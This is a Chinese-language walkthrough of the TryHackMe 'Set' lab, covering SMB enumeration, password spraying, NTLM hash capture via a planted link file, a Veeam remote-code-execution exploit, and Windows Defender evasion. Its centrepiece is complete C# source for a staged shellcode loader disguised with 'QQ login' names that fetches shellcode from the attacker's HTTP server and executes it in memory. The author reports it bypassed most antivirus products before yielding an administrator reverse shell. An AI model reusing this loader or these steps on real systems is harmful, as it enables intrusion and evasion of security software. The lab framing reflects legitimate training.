> 文章列表 > TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

Set

您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好,你回来了 了解更多。

但是,这次他们设法保护了域控制器,因此您需要找到另一台服务器,并在第一次扫描时发现“Set”。

Set被用作开发人员的平台,最近遇到了一些问题。他们不得不重置很多用户并恢复备份(也许您不是他们网络上唯一的黑客?因此,他们决定确保所有用户都使用正确的密码并关闭一些松散的策略。 你还能找到进去的路吗?某些用户是否比其他用户更有特权?还是更草率的?也许您需要跳出框框思考一下,以规避他们的新安全控制…


端口扫描

循例nmap

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

有两个子域,加进hosts

Web枚举

进到set子域

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

在主页的源代码中的search.js发现了user.xml,里面记录了姓名、电话和邮箱

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

先把xml保存一下,可能会有用

gobuster扫一下

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

SMB枚举

appnotes.txt,这意味着可能会有账户的密码会比较薄弱

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

提取用户名

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

使用username-generator.py生成可能的账户名

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

crackmapexec爆

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

按这个速度爆下去,估计没个10天半个月都爆不完,我选择看一眼wp是哪个账户

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

smbmap看一眼

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

用smbclient连接,获得info.txt

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

flag1和一些信息

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

立足 - SMB-NTLM回传

它会自动读取我们上传的zip文件,并查看里面的文件

我们都知道windows可以直接通过\\\\ip\\share来远程访问文件, 在thm中我们已经用过很多次了

如果它要是带着ntlm hash过来,那么我们将可以利用其凭据进行下一步操作

利用mslink创建链接文件,指向攻击机的smb share

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

压缩zip然后上传

responder开启监听,获得michellewat的hash

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

hashcat直接爆

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

看见开了5985端口,直接winrm登进来,同时拿到flag2

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

Veeam未授权RCE

netstat发现一个2805端口

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

查看进程

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

百度了解了下veeam,wmic、get-service、accesschk都用不了

直接暴力枚举

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

查看版本

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

看一眼nvd

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

该版本存在漏洞,现在应该要进行端口转发出来看看

2805端口虽然开在了0.0.0.0,但攻击机无法访问到,我也尝试了frp、chisel、ssh反向连接,应该是因为防火墙或是其他的缘故,连接不到攻击机

使用plink借助ssh来进行ssh反向连接并进行远程端口转发

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

攻击机查看,没问题

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

msf有exp

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

由于WinDefender的存在,我们无法直接使用msf进行getshell

并且还需要对msf的exp进行修改,使用windows/x64/exec执行命令,这样不会被WinDefender察觉

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

免杀 - Bypass WinDefender

现在虽然能够成功执行命令,但这是一次绝佳的免杀练习机会

首先我们选择做一个简单的分阶段的shellcode加载器,基于C#

using System;
using System.Runtime.InteropServices;
using System.Net;class Program
{[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);static void Main(string[] args){LoginQQ();}public static void LoginQQ(){string qq_loginURI = "http://10.14.39.48:8000/login_qq_api";WebClient webClient = new WebClient();byte[] qqLoginState = webClient.DownloadData(qq_loginURI);UInt32 QQOpen = VirtualAlloc(0, (UInt32)qqLoginState.Length, 0x1000, 0x40);Marshal.Copy(qqLoginState, 0, (IntPtr)(QQOpen), qqLoginState.Length);IntPtr QQHandle = IntPtr.Zero;UInt32 QQthreadId = 0;IntPtr QQparameter = IntPtr.Zero;QQHandle = CreateThread(0, 0, QQOpen, QQparameter, 0, ref QQthreadId);WaitForSingleObject(QQHandle, 0xFFFFFFFF);}
}

我们考虑了熵, 它挺低的,至少满足了thm教程中所说的5.x、6.x

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

简单的通过http获取shellcode并利用win32 api写入内存并执行

使用csc编译得到exe

上传到VirusTotal分析一下

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

我们编写的“QQ”很幸运,它绕过了大多数AV检测,包括WinDefender

这仅仅只使用了thm教导了一小部分知识,就这么轻松绕过了,或许是得益于分阶段优势的原因吧

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

免杀马测试

这么简单的免杀就到此为止,当然,我们并没有考虑运行时的内存检测,但让我们碰碰运气

生成shellcode

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

python开启http服务,把steged loader传过去

直接运行loader

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

loader会请求所谓的“login_qq_api”,其实这是我们的shellcode

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

nc监听的情况,成功getshell,并且没有运行时的内存检测,我们的免杀成功

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

权限提升 - 免杀马利用

回到房间正文,我们继续利用veeam的exp来通过我们的免杀马getshell

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

nc监听,成功过来one账户

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

该账户已经在administrators组中,并且shell是高IL

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

拿下最后的flag3

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

结束

整个房间或许难点应该在于绕过WinDefender做免杀这,但我有thm教导的知识,很轻松就绕过了

值得纪念的一天,这也是我第一次将thm教导一的小部分的红队免杀知识交付于此

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)